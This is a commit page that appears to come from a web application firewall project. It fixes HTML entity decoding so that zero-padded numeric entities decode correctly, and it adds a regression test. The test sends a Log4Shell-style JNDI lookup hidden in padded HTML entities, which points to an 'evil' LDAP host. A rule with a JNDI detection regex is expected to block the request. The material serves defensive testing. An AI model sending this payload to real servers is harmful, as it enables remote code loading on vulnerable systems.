Skip to content

Commit c82e831

Browse files
committed
fix: fixed htmlEntityDecode methods
1 parent f96806c commit c82e831

File tree

3 files changed

+59
-9
lines changed

3 files changed

+59
-9
lines changed

src/actions/transformations/html_entity_decode.cc

+10-9
Original file line numberDiff line numberDiff line change
@@ -62,18 +62,18 @@ static inline bool inplace(std::string &value) {
6262
}
6363
j++; /* j is the position of the first digit now. */
6464

65-
constexpr int MAX_HEX_DIGITS = 2; // supports only bytes (max value 0xff)
6665
auto k = j;
67-
while ((j - k < MAX_HEX_DIGITS) && (j < input_len) && (isxdigit(input[j]))) {
66+
while ((j < input_len) && (isxdigit(input[j]))) {
6867
j++;
6968
}
7069
if (j > k) { /* Do we have at least one digit? */
7170
/* Decode the entity. */
72-
char x[MAX_HEX_DIGITS + 1];
73-
memcpy(x, (const char *)&input[k], j - k);
71+
char *x = new char[(j - k) + 1];
72+
std::copy(input + k, input + j, x);
7473
x[j - k] = '\0';
7574

7675
*d++ = (unsigned char)strtol(x, nullptr, 16);
76+
delete[] x;
7777

7878
/* Skip over the semicolon if it's there. */
7979
if ((j < input_len) && (input[j] == ';')) {
@@ -87,18 +87,19 @@ static inline bool inplace(std::string &value) {
8787
}
8888
} else {
8989
/* Decimal entity. */
90-
constexpr int MAX_DEC_DIGITS = 3; // supports only bytes (max value 255)
9190
auto k = j;
92-
while ((j - k < MAX_DEC_DIGITS) && (j < input_len) && (isdigit(input[j]))) {
91+
92+
while ((j < input_len) && (isdigit(input[j]))) {
9393
j++;
9494
}
9595
if (j > k) { /* Do we have at least one digit? */
9696
/* Decode the entity. */
97-
char x[MAX_DEC_DIGITS + 1];
98-
memcpy(x, (const char *)&input[k], j - k);
99-
x[j - k] = '\0';
97+
char *x = new char[j - k + 1];
98+
std::copy(input + k, input + j, x);
10099

100+
x[j - k] = '\0';
101101
*d++ = (unsigned char)strtol(x, nullptr, 10);
102+
delete[] x;
102103

103104
/* Skip over the semicolon if it's there. */
104105
if ((j < input_len) && (input[j] == ';')) {
+48
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
[
2+
{
3+
"enabled": 1,
4+
"version_min": 300000,
5+
"version_max": 0,
6+
"title": "Decode HTML entities with padding",
7+
"client": {
8+
"ip": "200.249.12.31",
9+
"port": 2313
10+
},
11+
"server": {
12+
"ip": "200.249.12.31",
13+
"port": 80
14+
},
15+
"request": {
16+
"headers": {
17+
"Host": "localhost",
18+
"User-Agent": "&#x24;&#00000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}",
19+
"Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8",
20+
"Accept-Language": "en-us,en;q=0.5",
21+
"Accept-Encoding": "gzip,deflate",
22+
"Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
23+
"Keep-Alive": "300",
24+
"Connection": "keep-alive",
25+
"Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120",
26+
"Pragma": "no-cache",
27+
"Cache-Control": "no-cache"
28+
},
29+
"uri": "/",
30+
"method": "GET",
31+
"http_version": 1.1,
32+
"body": ""
33+
},
34+
"response": {
35+
"headers": {
36+
"Content-Type": "text\/xml; charset=utf-8"
37+
},
38+
"body": "<html><body>OK</bod></html>"
39+
},
40+
"expected": {
41+
"http_code": 403
42+
},
43+
"rules": [
44+
"SecRuleEngine On",
45+
"SecRule REQUEST_HEADERS \"@rx (?i)(?:\\$|&dollar;?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|&dollar;?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)\" \"id:944150,phase:2,deny,t:none,t:urlDecodeUni,t:jsDecode,t:htmlEntityDecode,log\""
46+
]
47+
}
48+
]

test/test-suite.in

+1
Original file line numberDiff line numberDiff line change
@@ -73,6 +73,7 @@ TESTS+=test/test-cases/regression/issue-2196.json
7373
TESTS+=test/test-cases/regression/issue-2423-msg-in-chain.json
7474
TESTS+=test/test-cases/regression/issue-2427.json
7575
TESTS+=test/test-cases/regression/issue-2296.json
76+
TESTS+=test/test-cases/regression/issue-3340.json
7677
TESTS+=test/test-cases/regression/issue-394.json
7778
TESTS+=test/test-cases/regression/issue-849.json
7879
TESTS+=test/test-cases/regression/issue-960.json

0 commit comments

Comments
 (0)